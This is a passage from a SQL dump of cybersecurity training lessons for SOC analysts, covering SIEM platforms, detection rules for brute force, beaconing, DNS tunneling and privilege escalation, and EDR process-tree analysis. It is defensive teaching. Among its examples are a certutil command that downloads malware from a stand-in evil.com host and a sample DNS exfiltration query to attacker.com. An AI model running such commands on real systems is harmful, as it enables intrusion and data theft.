(Entra ID), and Defender for Endpoint is often \"one-click\" and sometimes free.\n\n#### Pros & Cons\n*   [+] **Ease of Use**: Setup takes minutes, not months.\n*   [+] **Integration**: Unbeatable if your company is a \"Microsoft Shop\" (uses O365, Azure, Windows).\n*   [+] **Cost Model**: Pay-as-you-go.\n*   [-] **Cloud Locked**: While it *can* ingest AWS/Google logs, it works best in Azure.\n*   [-] **Younger**: Less community content and mature 3rd-party integrations compared to Splunk.\n\n### Other Notable Players\n*   **Elastic Security (ELK)**: The open-source giant. Highly customizable, free versions available, favored by engineering-heavy teams.\n*   **QRadar (IBM)**: A legacy enterprise player. Very strong on flow analytics and strict correlation rules.\n*   **Exabeam/Securonix**: Leaders in the UEBA (User Behavior Analytics) space, often used alongside other log managers.\n\n### Which one should you learn?\n*   Learn the **concepts** (Aggregation, Normalization, Correlation), not just the tool. The logic \"Find failed logins\" is the same in SPL and KQL.\n*   However, knowing **SPL** is currently the most requested skill in job descriptions, while **KQL** is the fastest growing.\n\n### Comparison Summary\n| Feature | Splunk | Microsoft Sentinel |\n| :--- | :--- | :--- |\n| **Deployment** | On-Prem, Cloud, or Hybrid | Cloud Only (SaaS) |\n| **Query Language** | SPL | KQL |\n| **Cost Model** | Volume/Workload pricing | Pay-as-you-go (Data/Compute) |\n| **Best For** | Complex, multi-cloud, hybrid enteprises | Azure/Microsoft-centric organizations |', 'markdown', 15, '2025-12-26 22:35:58', '2025-12-29 15:04:12'),
(574, 226, '## The Open Source Rebel: The ELK Stack (Elastic Stack)\n\nNot every company has the budget for Splunk or Sentinel. Enter the **ELK Stack**, the world\'s most popular open-source log management platform.\n\nELK stands for **E**lasticsearch, **L**ogstash, and **K**ibana. (Though now it includes **B**eats, so sometimes it\'s called the *Elastic Stack*).\n\n### The Components\n\n#### 1. Beats (The Shippers)\nLightweight data shippers that you install on your servers (Agents).\n*   **Filebeat**: Tails log files. Use this for Apache, Nginx, or custom app logs.\n*   **Winlogbeat**: Ships Windows Event Logs.\n*   **Packetbeat**: Sniffs network traffic (like Wireshark) and sends metadata.\n*   **Auditbeat**: Linux audit framework data (File Integrity Monitoring).\n*   *Role*: \"Go get the data and push it.\"\n\n#### 2. Logstash (The Plumber)\nThe heavy-duty processing pipeline. Logstash receives data from Beats (or Syslog), parses it, filters it, and transforms it.\n*   **Input**: Receive data on TCP 5044.\n*   **Filter**: This is where the magic happens.\n    *   *Grok*: A plugin to parse unstructured text into fields using Regex comparisons.\n    *   *GeoIP*: Adds Latitude/Longitude based on IP address.\n    *   *Drop*: Discard noise (e.g., \"Don\'t store debug logs\").\n*   **Output**: Send to Elasticsearch.\n*   *Role*: \"Clean, format, and enrich the data.\"\n\n#### 3. Elasticsearch (The Brain / Database)\nA distributed, RESTful search and analytics engine. It is a NoSQL database that stores data in JSON format.\n*   It is built for **speed**. You can search through billions of documents in milliseconds.\n*   It uses an \"Inverted Index\" (like the index at the back of a textbook). It doesn\'t scan every row; it looks up the word \"Error\" and instantly knows which rows contain it.\n*   *Role*: \"Store the data and find it fast.\"\n\n#### 4. Kibana (The Face)\nThe visualization dashboard.\n*   This is where the Analyst lives. You query Elasticsearch and visualize the results.\n*   Create pie charts, line graphs, maps, and data tables.\n*   **Canvas**: A feature to create pixel-perfect infographic presentations for management.\n\n### Elastic Security\nIn recent years, Elastic has added a dedicated \"Security\" app on top of ELK.\n*   **Detection Engine**: Runs automated rules (like Splunk correlation matches).\n*   **Prebuilt Rules**: Elastic provides hundreds of open detection rules mapped to MITRE ATT&CK.\n*   **Endpoint Security**: Elastic Agent can now prevent malware, not just log it.\n\n### Why use ELK?\n1.  **Cost**: The core is open source (Free). You pay for hardware/cloud hosting, but no licensing fees for data volume.\n2.  **Flexibility**: You have total control over every configuration file. You can build exactly what you need.\n3.  **Community**: Massive community support.\n\n### The Trade-off\nELK is \"Free as in Puppies,\" not \"Free as in Beer.\"\n*   Managing an Elasticsearch cluster is **hard**.\n*   Sharding, replication, heap memory management, and upgrades require specialized DevOps skills.\n*   If your cluster crashes during an attack, you are blind, and there is no 1-800 number to call (unless you pay for Enterprise support).\n\n### Analyst Workflow in Kibana\n1.  **Discover Tab**: Review raw logs. Filter by `event.category: \"authentication\"`.\n2.  **Visualize**: Create a \"Vertical Bar\" chart of `user.name` where `event.outcome: \"failure\"`.\n3.  **Dashboard**: Pin that chart to your \"Morning Coffee\" dashboard to spot anomalies instantly.', 'markdown', 15, '2025-12-26 22:35:58', '2025-12-29 15:04:12'),
(575, 227, '## Wazuh: The Modern Open SIEM\n\nWhile ELK is a general-purpose data platform that *can* be used for security, **Wazuh** is a platform built *specifically* for security from day one. It often sits on top of the ELK stack (using Elasticsearch for storage) but replaces the heavy lifting of Logstash/Beats with its own specialized agents.\n\n### Architecture\n\n#### 1. The Wazuh Agent\nInstalled on endpoints (Windows, Linux, macOS). It is far more powerful than a simple log shipper.\n*   **Log Collection**: Reads system logs and application logs.\n*   **FIM (File Integrity Monitoring)**: It takes cryptographic hashes (MD5/SHA256) of critical files. If a hacker modifies `/etc/passwd` or `system32.dll`, Wazuh alerts immediately.\n*   **Rootkit Detection**: Scans for hidden processes, hidden ports, and anomalous system calls.\n*   **Vulnerability Detection**: Compares installed software versions against the CVE database. \"Hey, you have Chrome version 80 installed; it has 5 critical vulnerabilities.\"\n*   **Active Response**: Can execute scripts to block an attack. (e.g., \"If source IP logs in 10 times fail -> Add IP to Firewall Drop rule\").\n\n#### 2. The Wazuh Server\n*   Receives data from agents.\n*   **Decoders**: Parses raw logs into fields.\n*   **Rules Engine**: The core strength of Wazuh. It has thousands of pre-built rules mapped to PCI-DSS, HIPAA, GDPR, and MITRE ATT&CK.\n    *   *Rule Level*: Alerts are graded 1-15.\n    *   Level 3: \"Login success\" (Informational).\n    *   Level 12: \"Suspicious shell spawned\" (Critical).\n\n#### 3. The Wazuh Dashboard (Indexer)\n*   Historically based on Kibana (OpenSearch Dashboards).\n*   Provides a beautiful UI to visualize FIM changes, compliance scores, and threat alerts.\n\n### Wazuh vs. Traditional SIEM\nWazuh is technically an **XDR (Extended Detection and Response)** solution because it does more than just logs—it monitors the *state* of the endpoint.\n\n*   **Traditional SIEM**: \"I saw a log that says a file changed.\"\n*   **Wazuh**: \"I saw the file change, here is the diff of the content, here is the user who did it, and by the way, that user is running a vulnerable version of Sudo.\"\n\n### Use Case Example: Detecting a Web Shell\n1.  **Attacker**: Uploads `shell.php` to your web server (Apache).\n2.  **Wazuh FIM**: Detects a new file creation in `/var/www/html/`. Checks hash.\n3.  **Wazuh Rule**: \"New file created in web directory with PHP extension\" -> **Alert Level 7**.\n4.  **Attacker**: Accesses the shell. Apache logs 200 OK for `shell.php`.\n5.  **Wazuh Log Analysis**: Sees web request to the newly created file.\n6.  **Active Response**: Triggers a firewall-drop command for the attacker\'s IP.\n\n### Why Analysts Love Wazuh\n*   **Pre-tuned**: It comes out of the box with reasonable defaults. you don\'t have to write a rule to detect \"SSH Brute Force\"—it\'s already there.\n*   **Compliance View**: It has a dedicated view for \"PCI DSS\". You can click it and see exactly which requirements you are failing based on the logs.\n*   **Endpoint Visibility**: It gives you deep insight into the OS, not just the logs the OS decides to print.\n\n### Lab Insight\nIn the upcoming labs, you will likely interface with a SIEM dashboard. Whether it is Splunk, ELK, or Wazuh, remember: **The logic is the same.** You are looking for anomalies, correlating events across time, and validating the generated alerts.', 'markdown', 15, '2025-12-26 22:35:58', '2025-12-29 15:04:12'),
(576, 228, '## Module 22 Review\nYou have completed the SIEM Fundamentals module. You should now understand:\n1.  **Aggregation, Normalization, Correlation**.\n2.  The difference between **Syslog** vs **Agent** ingestion.\n3.  How to read a normalized log vs a raw log.\n4.  The landscape of tools: Splunk, Sentinel, ELK, Wazuh.\n\nProceed to the next module to apply this knowledge in practical Use Cases.', 'markdown', 15, '2025-12-26 22:35:58', '2025-12-29 14:17:57'),
(577, 231, '## Use Case 1: Brute Force Attack (Easy)\n\n**Scenario**: An attacker is trying to guess a user\'s password to gain unauthorized access to the network. This is often the first step in an attack called \"Initial Access.\"\n\n### The Logic\nA brute force attack generates a distinct pattern: **Many Failures followed by (potentially) a Success**.\n\n### 1. The Data Sources\n*   **Source**: Windows Event Logs (Security) or Linux `/var/log/auth.log` or SSH logs.\n*   **Key Fields**:\n    *   `Event ID`: 4625 (Failure), 4624 (Success).\n    *   `Logon Type`: 3 (Network), 10 (RDP).\n    *   `Account Name`: The target user.\n    *   `Source IP`: The attacker\'s IP.\n\n### 2. The Pattern (Signatures)\n*   **Standard Brute Force**:\n    *   One Source IP targeting One User Account.\n    *   High frequency (> 10 failures in 1 minute).\n*   **Password Spraying** (Stealthier):\n    *   One Source IP targeting *Many* different User Accounts.\n    *   Tries \"Password123\" against User A, then User B, then User C.\n    *   Avoids locking out a single account.\n*   **Reverse Brute Force**:\n    *   Many Source IPs (Botnet) targeting One User Account.\n\n### 3. The SIEM Rule (Pseudocode)\n```sql\nAlert IF:\n    Event = \"Failed Login\"\n    AND\n    Count > 20\n    AND\n    Time_Window = 5 minutes\n    AND\n    Same Source_IP\n```\n\n### 4. Investigation Steps (The Playbook)\nWhen you see this alert, here is your workflow:\n1.  **Check the Username**: Does the account exist? Or is it `admin`, `root`, `test`? (Non-existent accounts usually imply an automated script).\n2.  **Check the Source IP**: Is it internal or external?\n    *   *Internal*: Could be a misconfigured service or script retry. Contact the machine owner.\n    *   *External*: Check Threat Intelligence (VirusTotal/AbuseIPDB). Is this a known bad IP?\n3.  **Check for Success**: **CRITICAL**. Did they eventually succeed?\n    *   Query: `source_ip=Attacker_IP AND action=Success`.\n    *   If **NO**: The firewall/account lockout did its job. Block the IP.\n    *   If **YES**: **Incident Declared**. The attacker is inside. Reset password immediately, isolate the host, and look for what they did next.\n\n### 5. False Positives\n*   User changed their Active Directory password, but their phone is still trying to sync email with the old password.\n*   A service account (cron job) with hardcoded credentials failing repeatedly.\n\n### 6. Real World Example\n`Oct 21 04:00:01 sshd[123]: Failed password for root from 192.168.1.105 port 4422 ssh2`\n`Oct 21 04:00:02 sshd[123]: Failed password for root from 192.168.1.105 port 4422 ssh2`\n`Oct 21 04:00:03 sshd[123]: Failed password for root from 192.168.1.105 port 4422 ssh2`\n`Oct 21 04:00:04 sshd[123]: Accepted password for root from 192.168.1.105 port 4422 ssh2`\n**Verdict**: Successful Brute Force. Priority Critical.', 'markdown', 15, '2025-12-26 22:41:26', '2025-12-29 15:05:03'),
(578, 232, '## Use Case 2: Malware Beaconing (Easy)\n\n**Scenario**: A user clicks a malicious link. Malware installs on their laptop. The malware needs instructions, so it \"phones home\" to the attacker\'s Command & Control (C2) server. This checking-in process is called **Beaconing**.\n\n### The Logic\nBeaconing is automated. Computers form patterns (heartbeats); humans do not.\n\n### 1. The Data Sources\n*   **Source**: Firewall Logs, Proxy Logs, or DNS Logs.\n*   **Key Fields**:\n    *   `src_ip`: The infected laptop.\n    *   `dest_ip` or `dest_domain`: The C2 server.\n    *   `bytes_sent/received`: Usually small (just asking \"Any commands for me?\").\n    *   `frequency/interval`: The time between connections.\n\n### 2. The Pattern (Signatures)\n*   **Regularity**: Connection to the same IP every 60 seconds (or exactly 5 minutes, etc.).\n*   **Long Duration**: This connection happens 24/7, even when the user is asleep.\n*   **Jitter**: Sophisticated malware adds \"jitter\" (random delay) to hide. E.g., 60s, then 65s, then 58s.\n\n### 3. The SIEM Rule (Pseudocode)\nDetection often requires statistical analysis, not just simple matching.\n```sql\nAlert IF:\n    Same Source_IP connecting to Same Dest_IP\n    Count > 50 times in 24 hours\n    AND\n    Standard_Deviation(Time_Between_Connections) is Low (< 5 seconds)\n```\n\n### 4. Investigation Steps (The Playbook)\n1.  **Analyze the Destination**:\n    *   Is the domain `google.com` (benign) or `x83js92.ru` (suspicious)?\n    *   Is the destination IP hosting a known valid service (Microsoft Update) or a cheap VPS?\n    *   Use **Whois** to check domain age. (Newly registered domains < 30 days old are high risk).\n2.  **Analyze the Payload**:\n    *   Check Proxy logs. User-Agent string?\n    *   Is it `Mozilla` (Browser) or `Python-requests` (Script)?\n3.  **Check Endpoint**:\n    *   Identify the process making the connection.\n    *   Is `chrome.exe` connecting? Or is it `powershell.exe` connecting to the internet? (PowerShell connecting to a Russian IP is almost certainly bad).\n\n### 5. False Positives\n*   Legitimate software updates (Adobe Updater checks in every hour).\n*   NTP (Time sync) traffic.\n*   Telemetry from legitimate apps (Spotify \"I\'m still playing\" signals).\n\n### 6. Mitigation\n*   **Block**: Add the C2 IP/Domain to the Firewall blocklist.\n*   **Isolate**: Take the infected machine off the network.\n*   **Reimage**: Malware often has persistence mechanisms that are hard to remove partially; wiping the machine is safest.', 'markdown', 15, '2025-12-26 22:41:26', '2025-12-29 15:05:03'),
(579, 233, '## Use Case 3: Impossible Travel (Medium)\n\n**Scenario**: A user\'s credentials have been compromised (stolen/phished). The attacker is logging in from their own country, while the legitimate user is logging in from the office.\n\n### The Logic\nA physical person cannot move faster than the speed of an airplane.\n\n### 1. The Data Sources\n*   **Source**: Identity Provider Logs (Azure AD, Okta, PingIdentity) or VPN Logs.\n*   **Key Fields**:\n    *   `User ID`: The account.\n    *   `Source IP`: The login location.\n    *   `GeoIP Data`: The SIEM enriches the IP with City/Country data.\n    *   `Timestamp`.\n\n### 2. The Pattern\n*   Login 1: London, UK at 14:00.\n*   Login 2: New York, USA at 14:30.\n*   Distance: 3,450 miles.\n*   Time Delta: 30 minutes.\n*   Required Speed: 6,900 mph. (Supersonic).\n*   **Conclusion**: Two different people are using the same credentials.\n\n### 3. The SIEM Rule (Pseudocode)\n```sql\nAlert IF:\n    Login Success for User U from Location A at Time T1\n    AND\n    Login Success for User U from Location B at Time T2\n    AND\n    (Distance(A, B) / (T2 - T1)) > 600 mph\n```\n\n### 4. Investigation Steps (The Playbook)\n1.  **Verify the GeoIP**: Geo-location databases are not 100% accurate.\n    *   Is the IP *actually* in Russia, or is it a corporate VPN exit node that just *registers* to a HQ in Russia?\n2.  **Check for VPN Usage**:\n    *   Did the user turn on their corporate VPN? This might make them appear to \"jump\" from home to the datacenter instantly.\n3.  **Contact the User**: \"Hey, are you currently in Lagos, Nigeria?\"\n4.  **Review Activity**:\n    *   What did the \"Remote\" session do? Did they just check email, or did they download the entire \"Payroll\" folder?\n\n### 5. False Positives\n*   **Mobile + WiFi**: A user is on WiFi (IP A), then switches to 5G (IP B). IP B might geolocate to a carrier tower 300 miles away.\n*   **Cloud Proxies**: Zscaler or other cloud security tools can make traffic appear to originate from regional hubs.\n\n### 6. Remediation\n*   **Force Password Reset**: Invalidate the compromised credentials.\n*   **Revoke Sessions**: Kill active tokens so the attacker is kicked out immediately.\n*   **Enable MFA**: If not already on, this stops 99% of credential theft attacks.', 'markdown', 15, '2025-12-26 22:41:26', '2025-12-29 15:05:03'),
(580, 234, '## Use Case 4: Privilege Escalation (Medium)\n\n**Scenario**: An attacker has gained access to a standard user account (\"Bob\"). Now they want to become an Administrator to install rootkits, dump passwords, or delete backups. This technique is **Privilege Escalation**.\n\n### The Logic\nStandard users should not be added to high-privilege groups. Administrative group formatting changes are rare and sensitive.\n\n### 1. The Data Sources\n*   **Source**: Windows Security Event Logs (Active Directory Domain Controller).\n*   **Key Fields**:\n    *   `Event ID`: **4728** (Member added to security-enabled global group), **4732** (Member added to security-enabled local group), **4756** (Member added to security-enabled universal group).\n    *   `Target Account`: The user being promoted (e.g., \"Bob\").\n    *   `Target Group`: The group being modified (e.g., \"Domain Admins\", \"Enterprise Admins\", \"Schema Admins\").\n    *   `Subject Account`: The user *doing* the adding (who made the change?).\n\n### 2. The Pattern\n*   Any addition to highly sensitive groups (Domain Admins) should be flagged.\n*   Frequent failures to add users to groups (Event 4728 failures) might indicate an attacker guessing permissions.\n\n### 3. The SIEM Rule (Pseudocode)\n```sql\nAlert IF:\n    Event_ID IN (4728, 4732, 4756)\n    AND\n    Target_Group IN (\"Domain Admins\", \"Administrators\", \"Enterprise Admins\")\n```\n\n### 4. Investigation Steps (The Playbook)\n1.  **Verify the Change Request**: Check the ticketing system (Jira/ServiceNow). Is there an approved ticket to make Bob an Admin?\n2.  **Check the Executor**: Who added Bob?\n    *   Was it a known Admin account?\n    *   Was it a Service Account? (Suspicious).\n    *   Was it Bob adding himself? (High Confidence Compromise).\n3.  **Time Context**:\n    *   Was this done at 3:00 AM on a Saturday? (Suspicious).\n    *   Was it done during business hours? (More likely legitimate).\n\n### 5. False Positives\n*   Legitimate IT operations. New Sysadmin hired, added to groups.\n*   Automated provisioning scripts (e.g., Identity Management systems) rotating memberships.\n\n### 6. Real World Risk\nIf an attacker reaches \"Domain Admin\", it is typically \"Game Over\". They can access every computer in the company, decrypt all passwords, and even create \"Golden Tickets\" to maintain access forever, even if you reset their password. Speed of detection here is critical.', 'markdown', 15, '2025-12-26 22:41:26', '2025-12-29 15:05:03'),
(581, 235, '## Use Case 5: DNS Tunneling (Hard)\n\n**Scenario**: A firewall blocks all traffic (HTTP, SSH, FTP) except for DNS (Port 53). Attackers know DNS must be open for the internet to work. They encode stolen data inside DNS queries to sneak it past the firewall. This is **DNS Tunneling**.\n\n### The Logic\nDNS is meant for address lookups (Phonebook). It is not meant for data transfer. Tunneling creates data that looks essentially different from normal lookups.\n\n### 1. The Data Sources\n*   **Source**: DNS Server Logs, Firewall Logs (Port 53), or Passive DNS sensors (Zeek).\n*   **Key Fields**:\n    *   `Query`: The domain being requested (`xyz.example.com`).\n    *   `Query Type`: A, TXT, CNAME, NULL, MX.\n    *   `Response Size`: Size of the answer.\n\n### 2. The Pattern\n*   **Long Subdomains**:\n    *   Normal: `www.google.com`\n    *   Tunneling: `base64_packet1_part2_secret_data.attacker.com` -> `cGFzc3dvcmQxMjMK.attacker.com`.\n    *   The attacker controls the `attacker.com` authoritative nameserver, which logs the incoming query (and thus receives the stolen data).\n*   **High Volume**:\n    *   A normal user makes ~1000 DNS queries a day.\n    *   Tunneling requires thousands of queries to transfer a small file because each query can only hold a few bytes of data.\n*   **Rare Record Types**:\n    *   Using `TXT` or `NULL` records to pack more data into the response (C2 commands coming back).\n\n### 3. The SIEM Rule (Pseudocode)\n```sql\nAlert IF:\n    Length(DNS_Query) > 180 characters\n    OR\n    Count(DNS_Queries) to Same_Root_Domain > 1000 in 1 hour\n    OR\n    Unusual_Record_Type (TXT, NULL) with High Entropy (Randomness)\n```\n\n### 4. Investigation Steps (The Playbook)\n1.  **Decode the Subdomain**:\n    *   Copy the subdomain string. Try Base64 or Hex decoding it.\n    *   If it decodes to \"Confidential_Q3_Report.pdf\", you have confirmed data exfiltration.\n2.  **Check the Domain Reputation**:\n    *   Is the root domain (`attacker.com`) known?\n    *   Does it resolve to a legitimate site?\n3.  **Identify the Endpoint**:\n    *   Which machine is making the requests? Isolate it.\n    *   Check for tunneling tools like `dnscat2` or `iodine` running in the process list.\n\n### 5. False Positives\n*   **CDN / Anti-Virus Lookups**: McAfee/Sophos use DNS to check file hashes. These queries look like `long_random_hash.sophosxl.net`. This is legitimate.\n*   **Content Delivery Networks (Akamai)**: Often use long, complex subdomains.\n\n### 6. Why it\'s \"Hard\"\nDistinguishing between a legitimate detailed DNS lookup (like an AV signature check) and a malicious tunnel requires entropy analysis (measuring the randomness of the string), which simple rule logic struggles with. It usually requires Machine Learning or statistical baselining.', 'markdown', 15, '2025-12-26 22:41:26', '2025-12-29 15:05:03'),
(582, 236, '## Module 23 Review\nYou have explored 5 critical SIEM Use Cases:\n1.  **Brute Force**: High volume failures.\n2.  **Beaconing**: Periodic C2 heartbeat.\n3.  **Impossible Travel**: Geo-velocity anomalies.\n4.  **Privilege Escalation**: Group changes and sudo abuse.\n5.  **DNS Tunneling**: Exfiltration via Port 53.\n\nThese rules form the baseline of most SOC detection strategies.', 'markdown', 15, '2025-12-26 22:41:26', '2025-12-29 14:17:57'),
(583, 241, '## Endpoint Detection and Response (EDR)\n\n**EDR** is the flight recorder for endpoints (laptops, servers, workstations). While a SIEM looks at the \"network\" and \"logs,\" an EDR looks at **execution** and **behavior**.\n\n### The Old World: Antivirus (EPP)\nTraditional Antivirus (AV), or Endpoint Protection Platforms (EPP), relied on **Signatures**.\n*   **The Method**: Compare a file\'s hash (SHA256) against a database of known bad files.\n*   **The Flaw**: If an attacker changes *one bit* of the file, the hash changes, and the AV misses it.\n*   **The Blind Spot**: AV cannot see \"Fileless Malware\" (e.g., PowerShell running a malicious script in memory). The file `powershell.exe` is legitimate, so AV ignores it.\n\n### The New World: EDR\nEDR assumes that **prevention will fail**. Its goal is **Detection** and **Visibility**.\nEDR records *everything* that happens on the device:\n1.  **Process Creation**: `cmd.exe` opened `powershell.exe`.\n2.  **Network Connections**: `powershell.exe` connected to `1.2.3.4`.\n3.  **File Modification**: `powershell.exe` wrote a file to `Temp`.\n4.  **Registry Changes**: `powershell.exe` added a generic Run key.\n\nBecause it records the *behavior*, it can detect attacks even if the malware file is brand new (Zero-Day).\n\n### Key Functions of EDR\n1.  **Continuous Monitoring**: Records activity 24/7, storing it either locally or in the cloud.\n2.  **Threat Hunting**: Allows analysts to query the database. \"Show me every computer that ran this specific PowerShell command.\"\n3.  **Automated Response**: \"If Ransomware behavior is detected, kill the process and isolate the machine.\"\n4.  **Remote Shell**: Allows analysts to remotely log in to the machine to investigate (like SSH, but through the EDR cloud).\n\n### Why EDR is Critical for SOC 1\nAs a Tier 1 Analyst, you will spend 50% of your time in the EDR console.\n*   The SIEM tells you **\"Something happened.\"**\n*   The EDR tells you **\"EXACTLY what happened.\"**\n*   *Example*: SIEM says \"Virus Detected on Host A\". EDR shows you that the user downloaded `invoice.zip` from Gmail, opened it, which spawned `cmd.exe`, which ran a script.', 'markdown', 15, '2025-12-26 22:47:08', '2025-12-29 15:05:46'),
(584, 242, '## EDR vs. Legacy Antivirus: The Cage Match\n\nIt is important to clearly distinguish between these two technologies, even though marketing often blurs them.\n\n| Feature | Legacy Antivirus (AV) | Endpoint Detection & Response (EDR) |\n| :--- | :--- | :--- |\n| **Detection Basis** | **Signatures** (Matching known Bad) | **Behavior** (Matching suspicious Actions) |\n| **Visibility** | **Black Box**: \"I blocked a virus.\" (End of story) | **Flight Recorder**: \"I saw the user open Chrome, download X, run Y...\" |\n| **Fileless Attacks** | **Blind**: Cannot see in-memory attacks. | **Visible**: Sees memory allocation and script execution. |\n| **Response** | **Delete/Quarantine File** | **Isolate Host, Kill Process, Remote Shell** |\n| **Analyst Role** | Passive (Wait for alerts) | Active (Hunt and Investigate) |\n\n### The \"Next-Gen AV\" (NGAV)\nModern tools often combine both. CrowdStrike, SentinelOne, and Defender for Endpoint are actually **EPP (Prevention) + EDR (Detection)** in a single agent.\n*   They *do* block known malware (EPP).\n*   BUT they also record all activity for investigation (EDR).\n\n### Scenario: The PowerShell Attack\n1.  **Attack**: Hacker sends a Word Doc with a macro. The macro runs: `powershell.exe -enc <malicious_code>`.\n2.  **Legacy AV**: Scans `winword.exe` (Safe). Scans `powershell.exe` (Safe). **Result**: Infection.\n3.  **EDR**:\n    *   Sees `winword.exe` spawn `powershell.exe`. (Suspicious).\n    *   Sees `powershell.exe` make a network connection to a non-Microsoft IP. (Very Suspicious).\n    *   **Alerts**: \"Suspicious Process Chain from Word Document.\"\n    *   **Action**: Kills the PowerShell process tree.\n\n### Why \"Signatures\" are Dead\nAttackers use \"Polymorphism\". They automate their malware compilers to change the code structure every 10 seconds.\n*   To AV, it looks like a new file every time.\n*   To EDR, it looks like a program trying to encrypt the hard drive (Ransomware behavior). The behavior never changes.', 'markdown', 15, '2025-12-26 22:47:08', '2025-12-29 15:05:46');
INSERT INTO `lesson_content` (`id`, `task_id`, `content`, `content_type`, `reading_time_minutes`, `created_at`, `updated_at`) VALUES
(585, 243, '## The Process Tree: The DNA of an Attack\n\nIf you learn only one thing about EDR, let it be the **Process Tree** (or Parent-Child Relationship).\n\n### What is a Process?\nWhen you run a program (like Calculator), the Operating System creates a **Process**. It assigns it a **PID (Process ID)**.\n\n### Parent and Child\nProcesses do not appear out of thin air. They are spawned by other processes.\n*   **Parent**: The creator.\n*   **Child**: The created.\n\n**Normal Example**:\n1.  You double-click Chrome on your desktop.\n    *   Parent: `explorer.exe` (The Windows Desktop)\n    *   Child: `chrome.exe`\n2.  You open a PDF inside Chrome.\n    *   Parent: `chrome.exe`\n    *   Child: `AcrobatReader.exe`\n\n**Malicious Example**:\n1.  User opens an email attachment (`Invoice.docx`).\n    *   Parent: `outlook.exe`\n    *   Child: `winword.exe`\n2.  The document contains a malicious macro.\n    *   Parent: `winword.exe`\n    *   Child: `cmd.exe` (Command Prompt) **<-- RED FLAG**\n3.  The Command Prompt downloads malware.\n    *   Parent: `cmd.exe`\n    *   Child: `powershell.exe`\n\n### Visualizing the Tree\nEDR tools visualize this as a hierarchy DAG (Directed Acyclic Graph).\n```\nexplorer.exe (PID 1000)\n    |\n    |-- outlook.exe (PID 1200)\n         |\n         |-- winword.exe (PID 1300)  <-- \"Invoice.docx\"\n              |\n              |-- cmd.exe (PID 1400) <-- \"Active Malicious Content\"\n                   |\n                   |-- curl.exe (PID 1500)\n```\n\n### The Analyst\'s Job\nYour job is to look at this tree and ask: **\"Does this make sense?\"**\n*   Does Microsoft Word *need* to open the Command Prompt to show you a document? **No.**\n*   Does Adobe Reader *need* to run PowerShell to display a PDF? **No.**\n*   Does Chrome *need* to run the Calculator? **No.**\n\nThese illogical relationships are the **strongest indicators of compromise (IOCs)** in existence. They are harder for attackers to hide than file hashes or IP addresses.', 'markdown', 15, '2025-12-26 22:47:08', '2025-12-29 15:05:46'),
(586, 244, '## Reading Process Ancestry: Who is your Father?\n\nTo catch advanced attackers, you must understand **Ancestry**. It\'s not just about the immediate parent, but the \"Grandparent\" and the whole lineage.\n\n### The \"Grandparent\" Context\nSometimes, the immediate parent looks okay, but the context is wrong.\n**Example**:\n`powershell.exe` running a script.\n*   Make sense? Maybe. Admins use PowerShell all the time.\n*   **Context 1 (Good)**:\n    *   Grandparent: `services.exe` -> Parent: `svchost.exe` -> Child: `powershell.exe` (Running a scheduled maintenance task).\n*   **Context 2 (Bad)**:\n    *   Grandparent: `chrome.exe` -> Parent: `cmd.exe` -> Child: `powershell.exe` (User downloaded a script from the browser and ran it).\n\n### Orphaned Processes\nSometimes, the Parent dies before the Child.\n*   `cmd.exe` spawns `malware.exe`.\n*   `cmd.exe` closes/exits.\n*   `malware.exe` is still running.\nIn Windows, the Parent ID (PPID) technically points to a non-existent process. Modern EDRs track this linkage historically so you can still see who the *original* parent was.\n\n### Spoofing (PPID Spoofing)\nAdvanced attackers can trick Windows. They can tell the OS: \"Launch my malware, but pretend that `explorer.exe` is the parent, not my hacking tool.\"\n*   This is called **Parent PID Spoofing**.\n*   **Detection**: EDRs look for discrepancies between the *recorded* parent and the *start time* of the process. If a Child process claims to be born 5 minutes *before* its Parent started, verified spoofing is likely occurring.\n\n### Standard Ancestry (What is Normal?)\nYou need to know what \"Normal\" looks like to spot the \"Abnormal\".\n*   `svchost.exe`: Generic host for services. Should usually be spawned by `services.exe`.\n*   `lsass.exe`: Local Security Authority. Should be spawned by `wininit.exe`.\n*   `explorer.exe`: The user shell. Spawned by `userinit.exe`.\n\nIf you see `lsass.exe` spawned by `winword.exe`, you are looking at an attack (likely Credential Dumping).', 'markdown', 15, '2025-12-26 22:47:08', '2025-12-29 15:05:46'),
(587, 245, '## Suspicious Parent-Child Relationships (The Cheat Sheet)\n\nMemorize these. These are the \"Bread and Butter\" of Tier 1 Analysis. If you see these, you escalate the ticket.\n\n### 1. The \"Office\" Spawners (Macro Malware)\nAttack Vector: Phishing emails with malicious attachments.\n*   **Parent**: `winword.exe`, `excel.exe`, `powerpnt.exe`, `outlook.exe`\n*   **Suspicious Children**:\n    *   `cmd.exe` (Command Prompt)\n    *   `powershell.exe`\n    *   `wscript.exe` / `cscript.exe` (Script engines)\n    *   `mshta.exe` (HTML Apps)\n    *   `rundll32.exe`\n*   **Verdict**: 99.9% Malicious. Office apps handles documents, not system administration.\n\n### 2. The \"Browser\" Spawners (Drive-By Downloads)\nAttack Vector: User visits a bad site, or is tricked into running a fake \"Update\".\n*   **Parent**: `chrome.exe`, `firefox.exe`, `msedge.exe`\n*   **Suspicious Children**:\n    *   `cmd.exe`, `powershell.exe` (Shells)\n    *   `whoami.exe`, `net.exe`, `ipconfig.exe` (Reconnaissance tools)\n*   **Verdict**: High Risk. Browsers should isolate web content. Spawning a shell means the sandbox was broken or the user was tricked.\n\n### 3. The \"Java/Adobe\" Spawners (Exploits)\nAttack Vector: Exploiting vulnerabilities in old PDF readers or Java runtimes.\n*   **Parent**: `acrord32.exe` (Adobe), `java.exe`, `javaw.exe`\n*   **Suspicious Children**:\n    *   `powershell.exe`\n    *   `cmd.exe`\n*   **Verdict**: Malicious.\n\n### 4. The \"LOLBins\" (Living Off The Land)\nAttackers use built-in Windows tools to hide.\n*   **CertUtil.exe**: Meant for certificates. Used by attackers to download files (like `wget`).\n    *   *Suspicious*: `certutil -urlcache -split -f http://evil.com/malware.exe`\n*   **Rundll32.exe**: Meant to run DLLs.\n    *   *Suspicious*: Loading a DLL from a Temp folder or User Profile.\n\n### 5. Service Exploitation (Web Servers)\nAttack Vector: Webshells / SQL Injection.\n*   **Parent**: `w3wp.exe` (IIS Web Server), `httpd.exe` (Apache), `tomcat.exe`, `sqlservr.exe`\n*   **Suspicious Children**:\n    *   `cmd.exe`\n    *   `whoami.exe`\n    *   `ping.exe`\n*   **Logic**: Your Web Server code (PHP/.NET) executes on the server. If that code spawns a command shell, it means the attacker has injected a command via the website (**Remote Code Execution - RCE**).\n*   **Verdict**: Critical. Server is fully compromised.', 'markdown', 15, '2025-12-26 22:47:08', '2025-12-29 15:05:46'),
